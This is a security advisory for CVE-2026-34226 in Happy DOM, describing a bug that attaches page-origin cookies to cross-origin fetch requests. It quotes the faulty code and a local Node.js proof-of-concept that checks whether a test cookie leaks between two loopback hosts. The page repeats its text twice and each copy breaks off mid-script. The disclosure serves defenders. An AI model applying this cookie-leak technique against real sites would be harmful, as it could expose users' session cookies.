CVE-2026-34226

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
 …

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
 …